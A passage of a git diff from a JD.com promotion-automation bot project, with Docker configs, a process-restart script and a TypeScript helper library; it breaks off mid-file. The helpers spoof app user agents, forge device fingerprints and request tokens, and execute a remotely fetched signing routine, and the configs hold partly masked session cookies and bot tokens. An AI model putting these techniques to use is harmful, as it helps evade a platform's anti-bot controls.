JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite + +``` +#### 目录文件配置好之后在 `jd_scripts_multi`目录执行 + `docker-compose up -d` 启动; + `docker-compose logs` 打印日志; + `docker-compose pull` 更新镜像; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + ![image](https://user-images.githubusercontent.com/6993269/97781935-8fcec000-1bc9-11eb-9d1a-d219e7a1caa9.png) + + diff --git a/docker/example/jd_scripts.custom-append.syno.json b/docker/example/jd_scripts.custom-append.syno.json new file mode 100644 index 0000000..a2da16f --- /dev/null +++ b/docker/example/jd_scripts.custom-append.syno.json @@ -0,0 +1,65 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.custom-overwrite.syno.json b/docker/example/jd_scripts.custom-overwrite.syno.json new file mode 100644 index 0000000..e4e05fb --- /dev/null +++ b/docker/example/jd_scripts.custom-overwrite.syno.json @@ -0,0 +1,69 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + }, + { + "key" : "CUSTOM_LIST_MERGE_TYPE", + "value" : "overwrite" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.syno.json b/docker/example/jd_scripts.syno.json new file mode 100644 index 0000000..189b047 --- /dev/null +++ b/docker/example/jd_scripts.syno.json @@ -0,0 +1,83 @@ +{ + "cap_add" : null, + "cap_drop" : null, + "cmd" : "", + "cpu_priority" : 0, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : false, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=AAJfjaNrADASxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxx5;" + }, + { + "key" : "TG_BOT_TOKEN", + "value" : "13xxxxxx80:AAEkNxxxxxxzNf91WQ" + }, + { + "key" : "TG_USER_ID", + "value" : "12xxxx206" + }, + { + "key" : "PLANT_BEAN_SHARECODES", + "value" : "" + }, + { + "key" : "FRUITSHARECODES", + "value" : "" + }, + { + "key" : "PETSHARECODES", + "value" : "" + }, + { + "key" : "SUPERMARKET_SHARECODES", + "value" : "" + }, + { + "key" : "CRONTAB_LIST_FILE", + "value" : "crontab_list.sh" + } + ], + "exporting" : false, + "id" : "18af38bc0ac37a40e4b9608a86fef56c464577cc160bbdddec90155284fcf4e5", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false, + "enable_status_page" : false, + "enable_web_page" : false, + "web_page_url" : "" + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/multi.yml b/docker/example/multi.yml new file mode 100644 index 0000000..a02de0d --- /dev/null +++ b/docker/example/multi.yml @@ -0,0 +1,62 @@ +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/notify_docker_user.js b/docker/notify_docker_user.js new file mode 100644 index 0000000..7ca2b0e --- /dev/null +++ b/docker/notify_docker_user.js @@ -0,0 +1,20 @@ +const notify = require('../sendNotify'); +const fs = require('fs'); +const notifyPath = '/scripts/logs/notify.txt'; +async function image_update_notify() { + if (fs.existsSync(notifyPath)) { + const content = await fs.readFileSync(`${notifyPath}`, 'utf8');//读取notify.txt内容 + if (process.env.NOTIFY_CONTENT && !content.includes(process.env.NOTIFY_CONTENT)) { + await notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT); + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } else { + if (process.env.NOTIFY_CONTENT) { + notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT) + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } +} +!(async() => { + await image_update_notify(); +})().catch((e) => console.log(e)) \ No newline at end of file diff --git a/docker/proc_file.sh b/docker/proc_file.sh new file mode 100644 index 0000000..89f4627 --- /dev/null +++ b/docker/proc_file.sh @@ -0,0 +1,27 @@ +#!/bin/sh + +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + CMD="spnode" +else + CMD="node" +fi + +echo "处理jd_crazy_joy_coin任务。。。" +if [ ! $CRZAY_JOY_COIN_ENABLE ]; then + echo "默认启用jd_crazy_joy_coin杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "默认jd_crazy_joy_coin重启完成" +else + if [ $CRZAY_JOY_COIN_ENABLE = "Y" ]; then + echo "配置启用jd_crazy_joy_coin,杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "配置jd_crazy_joy_coin重启完成" + else + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo "已配置不启用jd_crazy_joy_coin任务,仅杀掉" + fi +fi diff --git a/function/TS_USER_AGENTS.ts b/function/TS_USER_AGENTS.ts new file mode 100644 index 0000000..fccc43a --- /dev/null +++ b/function/TS_USER_AGENTS.ts @@ -0,0 +1,341 @@ +import axios from "axios" +import {Md5} from "ts-md5" +import * as dotenv from "dotenv" +import {existsSync, readFileSync} from "fs" +import {sendNotify} from './sendNotify' + +dotenv.config() + +let fingerprint: string | number, token: string = '', enCryptMethodJD: any + +const USER_AGENTS: Array = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] + +function TotalBean(cookie: string) { + return { + cookie: cookie, + isLogin: true, + nickName: '' + } +} + +function getRandomNumberByRange(start: number, end: number) { + end <= start && (end = start + 100) + return Math.floor(Math.random() * (end - start) + start) +} + +let USER_AGENT = USER_AGENTS[getRandomNumberByRange(0, USER_AGENTS.length)] + +async function getBeanShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action', + `functionId=plantBeanIndex&body=${encodeURIComponent( + JSON.stringify({version: "9.0.0.1", "monitor_source": "plant_app_plant_index", "monitor_refer": ""}) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": USER_AGENT + } + }) + if (data.data?.jwordShareInfo?.shareUrl) + return data.data.jwordShareInfo.shareUrl.split('Uuid=')![1] + else + return '' +} + +async function getFarmShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action?functionId=initForFarm', `body=${encodeURIComponent(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, { + headers: { + "cookie": cookie, + "origin": "https://home.m.jd.com", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded" + } + }) + + if (data.farmUserPro) + return data.farmUserPro.shareCode + else + return '' +} + +async function requireConfig(check: boolean = false): Promise { + let cookiesArr: string[] = [] + const jdCookieNode = require('../jdCookie.js') + let keys: string[] = Object.keys(jdCookieNode) + for (let i = 0; i < keys.length; i++) { + let cookie = jdCookieNode[keys[i]] + if (!check) { + cookiesArr.push(cookie) + } else { + if (await checkCookie(cookie)) { + cookiesArr.push(cookie) + } else { + let username = decodeURIComponent(jdCookieNode[keys[i]].match(/pt_pin=([^;]*)/)![1]) + console.log('Cookie失效', username) + await sendNotify('Cookie失效', '【京东账号】' + username) + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`) + return cookiesArr +} + +async function checkCookie(cookie) { + await wait(1000) + try { + let {data}: any = await axios.get(`https://api.m.jd.com/client.action?functionId=GetJDUserInfoUnion&appid=jd-cphdeveloper-m&body=${encodeURIComponent(JSON.stringify({"orgFlag": "JD_PinGou_New", "callSource": "mainorder", "channel": 4, "isHomewhite": 0, "sceneval": 2}))}&loginType=2&_=${Date.now()}&sceneval=2&g_login_type=1&callback=GetJDUserInfoUnion&g_ty=ls`, { + headers: { + 'authority': 'api.m.jd.com', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1', + 'referer': 'https://home.m.jd.com/', + 'cookie': cookie + } + }) + data = JSON.parse(data.match(/GetJDUserInfoUnion\((.*)\)/)[1]) + return data.retcode === '0'; + } catch (e) { + return false + } +} + +function wait(timeout: number) { + return new Promise(resolve => { + setTimeout(resolve, timeout) + }) +} + +async function requestAlgo(appId: number = 10032) { + fingerprint = generateFp() + return new Promise(async resolve => { + let {data}: any = await axios.post('https://cactus.jd.com/request_algo?g_ty=ajax', { + "version": "1.0", + "fp": fingerprint, + "appId": appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }, { + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + }) + if (data['status'] === 200) { + token = data.data.result.tk + let enCryptMethodJDString = data.data.result.algo + if (enCryptMethodJDString) enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)() + } else { + console.log(`fp: ${fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + resolve() + }) +} + +function generateFp() { + let e = "0123456789" + let a = 13 + let i = '' + for (; a--;) + i += e[Math.random() * e.length | 0] + return (i + Date.now()).slice(0, 16) +} + +function getJxToken(cookie: string, phoneId: string = '') { + function generateStr(input: number) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890' + let res = '' + for (let i = 0; i < input; i++) { + res += src[Math.floor(src.length * Math.random())] + } + return res + } + + if (!phoneId) + phoneId = generateStr(40) + let timestamp = Date.now().toString() + let nickname = cookie.match(/pt_pin=([^;]*)/)![1] + let jstoken = Md5.hashStr('' + decodeURIComponent(nickname) + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy') + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': jstoken + } +} + +function exceptCookie(filename: string = 'x.ts') { + let except: any = [] + if (existsSync('./utils/exceptCookie.json')) { + try { + except = JSON.parse(readFileSync('./utils/exceptCookie.json').toString() || '{}')[filename] || [] + } catch (e) { + console.log('./utils/exceptCookie.json JSON格式错误') + } + } + return except +} + +function randomString(e: number, word?: number) { + e = e || 32 + let t = word === 26 ? "012345678abcdefghijklmnopqrstuvwxyz" : "0123456789abcdef", a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function o2s(arr: object, title: string = '') { + title ? console.log(title, JSON.stringify(arr)) : console.log(JSON.stringify(arr)) +} + +function randomNumString(e: number) { + e = e || 32 + let t = '0123456789', a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function randomWord(n: number = 1) { + let t = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', a = t.length + let rnd: string = '' + for (let i = 0; i < n; i++) { + rnd += t.charAt(Math.floor(Math.random() * a)) + } + return rnd +} + +function obj2str(obj: object) { + return JSON.stringify(obj) +} + +async function getDevice() { + let {data} = await axios.get('https://betahub.cn/api/apple/devices/iPhone', { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, 16)] + return data.identifier +} + +async function getVersion(device: string) { + let {data} = await axios.get(`https://betahub.cn/api/apple/firmwares/${device}`, { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, data.length)] + return data.firmware_info.version +} + +async function jdpingou() { + let device: string, version: string; + device = await getDevice(); + version = await getVersion(device); + return `jdpingou;iPhone;5.19.0;${version};${randomString(40)};network/wifi;model/${device};appBuild/100833;ADID/;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${getRandomNumberByRange(10, 90)};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +} + +function get(url: string, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.get(url, { + headers: headers + }).then(res => { + if (typeof res.data === 'string' && res.data.includes('jsonpCBK')) { + resolve(JSON.parse(res.data.match(/jsonpCBK.?\(([\w\W]*)\);?/)[1])) + } else { + resolve(res.data) + } + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +function post(url: string, prarms?: string | object, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.post(url, prarms, { + headers: headers + }).then(res => { + resolve(res.data) + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +export default USER_AGENT +export { + TotalBean, + getBeanShareCode, + getFarmShareCode, + requireConfig, + wait, + getRandomNumberByRange, + requestAlgo, + getJxToken, + randomString, + o2s, + randomNumString, + getShareCodePool, + randomWord, + obj2str, + jdpingou, + get, + post +} diff --git a/function/common.js b/function/common.js new file mode 100644 index 0000000..a8a8e9e --- /dev/null +++ b/function/common.js @@ -0,0 +1,270 @@ +let request = require('request'); +let CryptoJS = require('crypto-js'); +let qs = require('querystring'); +let urls = require('url'); +let path = require('path'); +let notify = require('./sendNotify'); +let mainEval = require("./eval"); +let assert = require('assert'); +let jxAlgo = require("./jxAlgo"); +let config = require("./config"); +let user = {} +try { + user = require("./user") +} catch (e) {} +class env { + constructor(name) { + this.config = { ...config, + ...process.env, + ...user, + }; + this.name = name; + this.message = []; + this.sharecode = []; + this.code = []; + this.timestamp = new Date().getTime(); + this.time = this.start = parseInt(this.timestamp / 1000); + this.options = { + 'headers': {} + }; + console.log(`\n🔔${this.name}, 开始!\n`) + console.log(`=========== 脚本执行-北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 